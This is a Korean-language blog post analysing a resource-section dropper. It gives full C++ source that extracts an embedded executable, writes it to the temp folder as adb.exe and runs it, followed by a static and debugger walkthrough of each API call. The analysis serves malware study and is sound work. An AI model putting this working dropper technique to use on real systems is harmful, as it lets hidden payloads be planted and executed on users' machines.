tmxklab

Dropper 2(Resource) 본문

Security/07 Malware Technique

Dropper 2(Resource)

tmxk4221 2020. 12. 29. 12:00

0. 목차


1. Resource 유형

1-1. 분석환경

  • OS : Windows 7(x86)
  • Debugging Tool : IDA Pro, x32dbg
  • etc tool : PE View, Resource Hacker, HxD

1-2. 예제 소스 코드

[ main.cpp ]

#include <windows.h>
#include "resource.h"

char *strcat(char *dst, const char *src)
{
    char *cp = dst;
    while (*cp)
        cp++;
    while (*cp++ = *src++)
        ;
    return dst;
}

int main()
{
    char path[MAX_PATH];
    GetTempPathA(MAX_PATH, path);
    strcat(path, "adb.exe");
    HMODULE hModule = GetModuleHandle(NULL);
    HRSRC hRes = FindResourceA(hModule, MAKEINTRESOURCEA(IDR_ETC1), "ETC");
    HGLOBAL hMem = LoadResource(hModule, hRes);
    LPVOID lpResource = LockResource(hMem);
    DWORD size = SizeofResource(hModule, hRes);
    HANDLE hFile;
    DWORD dwWrite;

    hFile = CreateFileA(path, GENERIC_READ | GENERIC_WRITE, 0, NULL, CREATE_ALWAYS,
                        FILE_ATTRIBUTE_NORMAL, NULL);
    WriteFile(hFile, hMem, size, &dwWrite, NULL);
    CloseHandle(hFile);
    WinExec(path, 0);
    return 0;
}


2. 분석

2.1 정적 분석

먼저, PEView를 통해 파일을 열어 확인해보자

  • Resource관련 데이터를 담고 있는 섹션인 .rsrc 섹션 부분에 ETC라고 이상한 부분이 들어가 있는 것을 확인할 수 있다. hex값을 확인해보면 PE파일임을 나타내는 magic넘버를 확인할 수 있다.

  • Resource Hacker툴을 이용하여 해당 부분만 추출해보자

해당 파일이 exe파일인지 아니면 dll인지 (등등 다른 계열일 수도 있음)확인하기 위해 따로 tmp파일이라고 저장하고 다시 PEView를 통해 확인

  • Characteristics멤버 값을 통해 exe파일임을 확인할 수 있다.
    • EXE인 경우 : IMAGE_FILE_EXECUTABLE_IMAGE(0x2)플래그로 세팅
    • DLL인 경우 : IMAGE_FILE_DLL(0x2000)플래그로 세팅

  • tmp디렉토리에 대한 전체 경로를 가져와 adb.exe문자열과 합친다.
  • 리소스 관련 함수들과 마지막에 WinExec()를 통해 무언가를 실행하는 것을 확인할 수 있다.

1) GetModuleHandleA()

→ 지정된 모듈에 대한 모듈 핸들 검색하는 함수

  • lpModuleName : 로드된 모듈 이름(.dll 또는 .exe파일)

1-1) hModule = GetModuleHandleA(0);

→ 파라미터가 NULL이면 .exe파일을 만드는데 사용되는 핸들 반환

2) FindResourceA()

→ 지정된 모듈에서 지정된 유형 및 이름을 가진 리소스 위치 결정

분리해내고자 하는 리소스를 찾는데 사용되는 함수

  • hModule : 리소스가 포함된 모듈에 대한 핸들
  • lpName : 리소스 이름, 정수 값(ID)을 가진 식별자
  • lpType : 리소스 유형, 정수 값(ID)을 가진 식별자

2-1) hResInfo = FindResourceA(hModule, (LPCSTR)0x65, "ETC");

→ 지정된 리소스의 정보 블록에 대한 핸들을 hResInfo에 저장

→ 이후에 리소스에 대한 핸들을 얻기 위해 LoadResource()에 전달

3) LoadResource()

→ 리소스를 메모리에 로드하는 함수

  • hModule : 실행 파일에 리소스가 포함된 모듈에 대한 핸들
  • hResInfo : 메모리에 로드할 리소스에 대한 핸들

3-1) hResData = LoadResource(hModule, hResInfo);

→ FindResource로 찾은 리소스 핸들을 전달하여 해당 리소스 포인터를 hResData에 저장

4) LockResource()

→ 메모리에서 지정된 리소스에 대한 실제 포인터 반환하는 함수

  • hResData : 액세스할 리소스에 대한 핸들

4-1) v3 = LockResource(hResData);

→ hResData를 인자로 주어 실제 포인터가 리턴됨

5) SizeofResource()

→ 리소스의 크기를 구하는 함수

  • hModule : 실행 파일에 리소스가 포함된 모듈에 대한 핸들
  • hResInfo : 리소스에 대한 핸들

5-1) nNumberOfBytesToWrite = SizeofResource(hModule, hResInfo);

→ 모듈 핸들과 리소스 핸들을 인자로 받아 리소스 크기를 반환 값으로 받음

6) CreateFileA()

→ 파일을 생성하는 가장 기본적인 함수, 해당 함수로 생성한 핸들은 반드시 CloseHandle()로 닫아줘야 한다.

  • lpFileName : 생성 또는 오픈할 파일의 이름을 지정
  • dwDesiredAccess : 파일에 대한 액세스 권한
  • dwShareMode : 파일의 공유 모드 지정, NULL값인 경우 다른 프로세스가 읽기, 쓰기, 액세스 요청하는 경우 파일이나 장치를 열지 못하도록 함
  • lpSecurityAttributes : 파일의 보안 속성을 지정하는 SECURITY_ATTRIBUTES 구조체의 포인터, NULL값인 경우 디폴트 값으로 설정
  • dwCreationDisposition : 파일을 생성할 것인지 열 것인지 지정, CREATE_ALWAYS(0x2)값으로 설정할 경우 항상 새파일을 만들며 지정된 파일이 존재하고 쓰기 가능하면 함수가 파일을 덮어쓴다.
  • dwFlagsAndAttributes : 생성할 파일의 속성 및 플래그, 기본 값으로FILE_ATTRIBUTE_NORMAL(0x80)를 갖는다.
  • hTemplateFile : 생성될 파일의 속성을 제공할 템플릿 파일

6-1) hFile = CreateFileA(&Buffer, 0xC0000000, 0, 0, 2u, 0x80u, 0);

→ Buffer에 지정된 파일 이름으로 파일을 생성한다. 성공한 경우 해당 파일을 제어할 수 있는 핸들을 반환하여 hFile에 저장

7) WriteFile()

→ 파일에 데이터를 쓰는 함수, 해당 함수를 사용하기 전에 CreateFile함수를 통해 파일의 핸들을 받아와야 한다.

  • hFile : 파일이나 I/O장치의 핸들
  • lpBuffer : 파일이나 장치에 기록할 데이터를 가지고 있는 버퍼 포인터
  • nNumberOfBytesToWrite : 기록할 데이터 길이
  • lpNumberOfBytesWritten : 기록한 데이터 바이트 수를 리턴받는 인자
  • lpOverlapped : 비동기 입출력을 위한 OVERLAPPED구조체 포인터, 비동기 입출력을 사용하지 않을 경우 NULL값으로 지정

7-1) WriteFile(hFile, hResData, nNumberOfBytesToWrite, &NumberOfBytesWritten, 0);

→ CreateFileA()로 생성한 파일에 hResData값을 nNumberOfBytesToWrite만큼 데이터를 쓴다.

→ 성공한 경우 반환 값은 0이 아님

8) CloseHandle()

→ 객체 핸들을 닫는 함수

  • hObject : 닫고자 하는 열려있는 핸들

8-1) CloseHandle(hFile);

→ hFile핸들을 성공적으로 닫는 경우 리턴 값으로 0이 아닌 값

2.2 동적 분석

1) GetTempPathA() & sub_401000()

  • tmp 디렉토리 전체 경로를 얻어와 "adb.exe"문자열과 합침

2) hModule = GetModuleHandleA(0)

  • .exe파일을 만드는데 사용되는 핸들 반환

3) hResInfo = FindResourceA(hModule, (LPCSTR)0x65, "ETC");

  • 리소스 이름 0x65, 리소스 타입 "ETC"인 리소스를 찾아 핸들을 넘겨받음

4) hResData = LoadResource(hModule, hResInfo);

  • FindResource로 찾은 리소스 핸들을 전달하여 해당 리소스의 포인터 리턴

5) v3 = LockResource(hResData);

  • LoadResource한 메모리의 실제 포인터 반환, 엥 달라진게 없네

6) nNumberOfBytesToWrite = SizeofResource(hModule, hResInfo);

  • 리소스의 크기를 구하여 eax에 저장 → 0x600

7) hFile = CreateFileA(&Buffer, 0xC0000000, 0, 0, 2u, 0x80u, 0);

  • 인자 값 세팅

  • 실행 이후 지정된 경로에 "adb.exe"파일이 생성된 것을 확인
  • 파일만 생성되고 아직 아무런 데이터가 존재하지 않음

8) WriteFile(hFile, hResData, nNumberOfBytesToWrite, &NumberOfBytesWritten, 0); & CloseHandle(hFile);

  • 인자 값 세팅

  • 파일에 데이터 쓰기 성공

  • CloseHandle() 이후에 "adb.exe"파일을 확인해본 결과 ETC resource에 존재하는 내용이 복사되어 정상 작동한다. (테스트 겸 실행해 본 것)

9) WinExec(&Buffer, 0);

  • WinExec()를 실행하기 위해 인자 값 세팅
  • 인자 값에 방금 전에 파일을 생성하였던 "adb.exe"문자열을 넘겨주고 있음

  • "adb.exe" 파일 실행


3. 정리

3.1 Process

1) tmp디렉토리 전체 경로와 "adb.exe"문자열을 합친다.

2) main.exe파일의 .rsrc SECTION의 ETC부분을 찾아 데이터를 구한다.

3) 방금 구한 CreateFileA()를 통해 "tmp/adb.exe"경로에 파일을 생성한다.

4) WriteFile()을 통해 방금 생성한 "tmp/adb.exe"파일에 ETC데이터를 쓴다.

5) WinExec()를 통해 "tmp/adb.exe"파일을 실행한다.

3.2 Image




4. 참고자료

1) ms 함수 관련

2) resource함수 관련


'Security > 07 Malware Technique' 카테고리의 다른 글

Dropper 3-3(PE Injection)  (0) 2020.12.29
Dropper 3-2(Process Hollowing)  (3) 2020.12.29
Dropper 3-1(DLL Injection)  (0) 2020.12.29
Dropper 1(Download & Execute)  (0) 2020.12.29
Dropper 개요  (0) 2020.12.29
Comments